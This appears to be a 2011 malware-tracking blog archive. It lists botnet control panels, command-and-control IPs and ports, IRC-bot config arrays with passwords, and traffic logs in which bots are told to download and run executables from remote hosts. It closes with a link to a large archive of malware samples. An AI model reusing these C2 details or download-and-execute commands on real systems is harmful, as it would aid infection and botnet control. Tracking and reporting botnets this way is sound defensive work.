Month: October 2011

Panel here: http://92.241.130.174/vn/ http://92.241.130.174/vn/bot/ this malware is being for sell in hecking boards screen of panel here: hosting infos: http://whois.domaintools.com/92.241.130.174

This http botnet is very big one FAKE ANTIVIRUS wich infect machines connect to http to reports infections or download files control panel here: http://www.duffiduffid.ru/stat/ http://www.duffiduffid.ru/stat/stat3.php Resolved : [duffiduffid.ru] To [82.210.157.9] Resolved : [duffiduffid.ru] To [113.161.87.176] Resolved : [duffiduffid.ru] To [71.217.16.11] Resolved : [duffiduffid.ru] To [60.19.30.135] Resolved : [duffiduffid.ru] To [87.126.200.246] hosting infos: http://whois.domaintools.com/87.126.200.246

var $config = array(“server”=>”69.162.81.123”, “port”=>2221, “pass”=>”lol1”, “prefix”=>”[NkD]-“, “maxrand”=>8, “chan”=>”#nkd”, “key”=>””, “modes”=>”+iB-x”, “password”=>”123”, “trigger”=>”.”, “hostauth”=>”*” var $config = array(“server”=>”69.162.81.123”, “port”=>2222, “pass”=>”mgn22”, “prefix”=>”BOTN3T|”, “maxrand”=>8, “chan”=>”#magno”, “key”=>””, “modes”=>”+iB-x”, “password”=>”soufoda”, “trigger”=>”.”, “hostauth”=>”*” hosting infos: http://whois.domaintools.com/69.162.81.123

the noob is xGoogle from hackforums he have like 6 leafs and he think he’s a hecker lol every botnet in the blog wich uses the port 1888 is from him Remote Host Port Number 146.0.73.82 1888 PASS strike 199.101.133.57 80 199.15.234.7 80 70.38.98.239 80 PRIVMSG #XP :[d=”http://img105.herosh.com/2011/10/23/296108402.gif” s=”81920 bytes”] Executed file “C:Documents and SettingsUserNameApplicationRead more...

Remote Host Port Number 199.15.234.7 80 31.214.201.171 1888 PASS strike NICK n{US|XPa}dciaump USER dciaump 0 0 :dciaump JOIN #asdf strike Now talking in #asdf Topic On: [ #asdf ] [ ~pu http://dc429.4shared.com/download/IwwpPGS9/sdafsdfad54534.exe b8b96e49511c4b1c70211be8a3968240 ~s -o ~s ] Topic By: [ google ] JOIN #XP JOIN #US hosting infos: http://whois.domaintools.com/31.214.201.171

Remote Host Port Number 146.0.73.83 1888 PASS strike 199.15.234.7 80 70.38.98.238 80 NICK n{US|XPa}wdpvgfm USER wdpvgfm 0 0 :wdpvgfm JOIN #asdf strike JOIN #XP JOIN #US PRIVMSG #XP :[d=”http://img104.herosh.com/2011/10/21/2578445.gif” s=”81920 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.exe” – Download retries: 0 The data identified by the following URLs was then requested from the remote webRead more...

Remote Host Port Number 199.101.133.68 80 199.15.234.7 80 70.38.98.238 80 46.17.96.36 1888 PASS strike PRIVMSG #xp :[d=”http://img104.herosh.com/2011/10/21/2578445.gif” s=”81920 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data2.exe” – Download retries: 0 NICK n{US|XPa}eddkvsd USER eddkvsd 0 0 :eddkvsd JOIN #asdf strike JOIN #XP JOIN #US PRIVMSG #xp :[d=”http://dc440.4shared.com/download/bSZjbmUZ/sfgdfsd966.exe” s=”167936 bytes”] Updated bot file “C:Documents and SettingsUserNameApplication DataScxaxs.exe”Read more...

Remote Host Port Number 199.15.234.7 80 64.31.42.67 1863 PASS secret NICK n{US|XPa}ekxhwua USER ekxhwua 0 0 :ekxhwua JOIN #bots priv8s hosting infos: http://whois.domaintools.com/64.31.42.67

75MB malware files for analysis(gbot,ngrBot,banking trojans) have fun Download: http://2926db4c.ultrafiles.net